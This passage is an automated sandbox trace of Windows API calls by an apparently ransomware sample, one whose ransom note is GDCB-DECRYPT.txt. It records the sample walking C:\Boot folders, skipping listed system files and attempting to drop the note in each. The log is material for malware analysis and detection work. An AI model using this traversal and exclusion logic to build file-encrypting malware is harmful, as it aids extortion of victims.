(lpString="C:\\Boot\\el-GR\\GDCB-DECRYPT.txt") returned 30 [0135.193] lstrlenW (lpString="C:\\Boot\\el-GR\\GDCB-DECRYPT.txt") returned 30 [0135.193] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.193] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.193] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.193] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.193] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.193] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.193] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.193] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.193] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.193] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.193] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.193] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.193] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.193] lstrcatW (in: lpString1="C:\\Boot\\el-GR\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\el-GR\\memtest.exe.mui") returned="C:\\Boot\\el-GR\\memtest.exe.mui" [0135.193] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.193] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0135.193] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29 [0135.193] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.193] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.193] FindClose (in: hFindFile=0x2c7780 | out: hFindFile=0x2c7780) returned 1 [0135.193] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.193] lstrcmpW (lpString1="en-GB", lpString2=".") returned 1 [0135.193] lstrcmpW (lpString1="en-GB", lpString2="..") returned 1 [0135.193] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="en-GB" | out: lpString1="C:\\Boot\\en-GB") returned="C:\\Boot\\en-GB" [0135.193] lstrcatW (in: lpString1="C:\\Boot\\en-GB", lpString2="\\" | out: lpString1="C:\\Boot\\en-GB\\") returned="C:\\Boot\\en-GB\\" [0135.194] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.194] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.194] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.194] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.194] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.194] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.194] lstrlenW (lpString="C:\\Boot\\en-GB\\") returned 14 [0135.194] lstrcatW (in: lpString1="C:\\Boot\\en-GB\\", lpString2="*" | out: lpString1="C:\\Boot\\en-GB\\*") returned="C:\\Boot\\en-GB\\*" [0135.194] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c7780 [0135.195] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.195] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.195] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.195] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.195] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.195] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.195] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.195] lstrcatW (in: lpString1="C:\\Boot\\en-GB\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned="C:\\Boot\\en-GB\\bootmgr.exe.mui" [0135.195] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29 [0135.195] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.195] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.195] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.195] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.195] lstrcatW (in: lpString1="C:\\Boot\\en-GB\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\en-GB\\GDCB-DECRYPT.txt") returned="C:\\Boot\\en-GB\\GDCB-DECRYPT.txt" [0135.195] lstrlenW (lpString="C:\\Boot\\en-GB\\GDCB-DECRYPT.txt") returned 30 [0135.195] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.195] FindNextFileW (in: hFindFile=0x2c7780, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.195] FindClose (in: hFindFile=0x2c7780 | out: hFindFile=0x2c7780) returned 1 [0135.195] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.195] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\en-GB\\\\GDCB-DECRYPT.txt") returned 31 [0135.195] CreateFileW (lpFileName="C:\\Boot\\en-GB\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\en-gb\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.196] GetLastError () returned 0x50 [0135.196] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.196] lstrlenW (lpString="C:\\Boot\\en-GB\\") returned 14 [0135.196] lstrcatW (in: lpString1="C:\\Boot\\en-GB\\", lpString2="*" | out: lpString1="C:\\Boot\\en-GB\\*") returned="C:\\Boot\\en-GB\\*" [0135.196] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c76c0 [0135.196] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.196] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.196] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.196] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.196] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.196] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.196] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.196] lstrcatW (in: lpString1="C:\\Boot\\en-GB\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned="C:\\Boot\\en-GB\\bootmgr.exe.mui" [0135.196] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.196] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29 [0135.196] lstrlenW (lpString="C:\\Boot\\en-GB\\bootmgr.exe.mui") returned 29 [0135.196] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.197] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.197] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.197] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.197] lstrcatW (in: lpString1="C:\\Boot\\en-GB\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\en-GB\\GDCB-DECRYPT.txt") returned="C:\\Boot\\en-GB\\GDCB-DECRYPT.txt" [0135.197] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.197] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\en-GB\\GDCB-DECRYPT.txt") returned 30 [0135.197] lstrlenW (lpString="C:\\Boot\\en-GB\\GDCB-DECRYPT.txt") returned 30 [0135.197] lstrlenW (lpString="C:\\Boot\\en-GB\\GDCB-DECRYPT.txt") returned 30 [0135.197] lstrlenW (lpString="C:\\Boot\\en-GB\\GDCB-DECRYPT.txt") returned 30 [0135.197] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.197] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.197] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.197] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.197] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.197] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.197] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.197] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.197] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.197] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.197] FindNextFileW (in: hFindFile=0x2c76c0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.197] FindClose (in: hFindFile=0x2c76c0 | out: hFindFile=0x2c76c0) returned 1 [0135.197] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.197] lstrcmpW (lpString1="en-US", lpString2=".") returned 1 [0135.197] lstrcmpW (lpString1="en-US", lpString2="..") returned 1 [0135.197] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="en-US" | out: lpString1="C:\\Boot\\en-US") returned="C:\\Boot\\en-US" [0135.197] lstrcatW (in: lpString1="C:\\Boot\\en-US", lpString2="\\" | out: lpString1="C:\\Boot\\en-US\\") returned="C:\\Boot\\en-US\\" [0135.197] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.197] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.198] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.198] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.198] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.198] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.198] lstrlenW (lpString="C:\\Boot\\en-US\\") returned 14 [0135.198] lstrcatW (in: lpString1="C:\\Boot\\en-US\\", lpString2="*" | out: lpString1="C:\\Boot\\en-US\\*") returned="C:\\Boot\\en-US\\*" [0135.198] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c7a40 [0135.198] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.198] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.198] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.198] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.198] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.198] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.198] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.198] lstrcatW (in: lpString1="C:\\Boot\\en-US\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\en-US\\bootmgr.exe.mui") returned="C:\\Boot\\en-US\\bootmgr.exe.mui" [0135.198] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0135.198] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.198] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.198] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.198] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.198] lstrcatW (in: lpString1="C:\\Boot\\en-US\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\en-US\\GDCB-DECRYPT.txt") returned="C:\\Boot\\en-US\\GDCB-DECRYPT.txt" [0135.198] lstrlenW (lpString="C:\\Boot\\en-US\\GDCB-DECRYPT.txt") returned 30 [0135.198] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.198] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.198] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.198] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.198] lstrcatW (in: lpString1="C:\\Boot\\en-US\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\en-US\\memtest.exe.mui") returned="C:\\Boot\\en-US\\memtest.exe.mui" [0135.198] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0135.198] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.198] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.198] FindClose (in: hFindFile=0x2c7a40 | out: hFindFile=0x2c7a40) returned 1 [0135.198] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.198] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\en-US\\\\GDCB-DECRYPT.txt") returned 31 [0135.198] CreateFileW (lpFileName="C:\\Boot\\en-US\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\en-us\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.199] GetLastError () returned 0x50 [0135.199] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.199] lstrlenW (lpString="C:\\Boot\\en-US\\") returned 14 [0135.199] lstrcatW (in: lpString1="C:\\Boot\\en-US\\", lpString2="*" | out: lpString1="C:\\Boot\\en-US\\*") returned="C:\\Boot\\en-US\\*" [0135.199] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7a40 [0135.199] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.199] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.199] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.199] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.199] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.199] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.199] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.199] lstrcatW (in: lpString1="C:\\Boot\\en-US\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\en-US\\bootmgr.exe.mui") returned="C:\\Boot\\en-US\\bootmgr.exe.mui" [0135.199] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.199] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0135.199] lstrlenW (lpString="C:\\Boot\\en-US\\bootmgr.exe.mui") returned 29 [0135.199] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.199] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.199] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.199] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.199] lstrcatW (in: lpString1="C:\\Boot\\en-US\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\en-US\\GDCB-DECRYPT.txt") returned="C:\\Boot\\en-US\\GDCB-DECRYPT.txt" [0135.199] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.200] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\en-US\\GDCB-DECRYPT.txt") returned 30 [0135.200] lstrlenW (lpString="C:\\Boot\\en-US\\GDCB-DECRYPT.txt") returned 30 [0135.200] lstrlenW (lpString="C:\\Boot\\en-US\\GDCB-DECRYPT.txt") returned 30 [0135.200] lstrlenW (lpString="C:\\Boot\\en-US\\GDCB-DECRYPT.txt") returned 30 [0135.200] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0135.200] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0135.200] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0135.200] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0135.200] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0135.200] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0135.200] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0135.200] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0135.200] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0135.200] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.200] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.200] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.200] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.200] lstrcatW (in: lpString1="C:\\Boot\\en-US\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\en-US\\memtest.exe.mui") returned="C:\\Boot\\en-US\\memtest.exe.mui" [0135.200] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.200] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0135.200] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0135.200] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.200] FindNextFileW (in: hFindFile=0x2c7a40, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0135.200] FindClose (in: hFindFile=0x2c7a40 | out: hFindFile=0x2c7a40) returned 1 [0135.200] FindNextFileW (in: hFindFile=0x2c7680, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0135.200] lstrcmpW (lpString1="es-ES", lpString2=".") returned 1 [0135.200] lstrcmpW (lpString1="es-ES", lpString2="..") returned 1 [0135.201] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="es-ES" | out: lpString1="C:\\Boot\\es-ES") returned="C:\\Boot\\es-ES" [0135.201] lstrcatW (in: lpString1="C:\\Boot\\es-ES", lpString2="\\" | out: lpString1="C:\\Boot\\es-ES\\") returned="C:\\Boot\\es-ES\\" [0135.201] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.201] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0135.201] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0135.201] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0135.201] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0135.201] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.201] lstrlenW (lpString="C:\\Boot\\es-ES\\") returned 14 [0135.201] lstrcatW (in: lpString1="C:\\Boot\\es-ES\\", lpString2="*" | out: lpString1="C:\\Boot\\es-ES\\*") returned="C:\\Boot\\es-ES\\*" [0135.201] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x2c7500 [0135.201] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.201] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.201] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.202] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.202] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.202] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.202] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.202] lstrcatW (in: lpString1="C:\\Boot\\es-ES\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned="C:\\Boot\\es-ES\\bootmgr.exe.mui" [0135.202] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0135.202] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.202] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.202] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.202] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.202] lstrcatW (in: lpString1="C:\\Boot\\es-ES\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\es-ES\\GDCB-DECRYPT.txt") returned="C:\\Boot\\es-ES\\GDCB-DECRYPT.txt" [0135.202] lstrlenW (lpString="C:\\Boot\\es-ES\\GDCB-DECRYPT.txt") returned 30 [0135.202] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.202] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0135.202] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0135.202] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0135.202] lstrcatW (in: lpString1="C:\\Boot\\es-ES\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\es-ES\\memtest.exe.mui") returned="C:\\Boot\\es-ES\\memtest.exe.mui" [0135.202] lstrlenW (lpString="C:\\Boot\\es-ES\\memtest.exe.mui") returned 29 [0135.202] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0135.202] FindNextFileW (in: hFindFile=0x2c7500, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0135.202] FindClose (in: hFindFile=0x2c7500 | out: hFindFile=0x2c7500) returned 1 [0135.202] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.202] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\es-ES\\\\GDCB-DECRYPT.txt") returned 31 [0135.202] CreateFileW (lpFileName="C:\\Boot\\es-ES\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\es-es\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0135.203] GetLastError () returned 0x50 [0135.203] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.203] lstrlenW (lpString="C:\\Boot\\es-ES\\") returned 14 [0135.203] lstrcatW (in: lpString1="C:\\Boot\\es-ES\\", lpString2="*" | out: lpString1="C:\\Boot\\es-ES\\*") returned="C:\\Boot\\es-ES\\*" [0135.203] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x2c7900 [0135.203] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.203] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.203] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.203] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.203] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.203] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0135.203] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0135.203] lstrcatW (in: lpString1="C:\\Boot\\es-ES\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned="C:\\Boot\\es-ES\\bootmgr.exe.mui" [0135.203] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0135.203] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0135.203] lstrlenW (lpString="C:\\Boot\\es-ES\\bootmgr.exe.mui") returned 29 [0135.203] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.203] FindNextFileW (in: hFindFile=0x2c7900, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0135.203] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.203] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.203] lstrcatW (in: lpString1="C:\\Boot\\es-ES\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\es-ES\\GDCB-DECRYPT.txt") returned="C:\\Boot\\es-ES\\GDCB-DECRYPT.txt" [0135.203] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 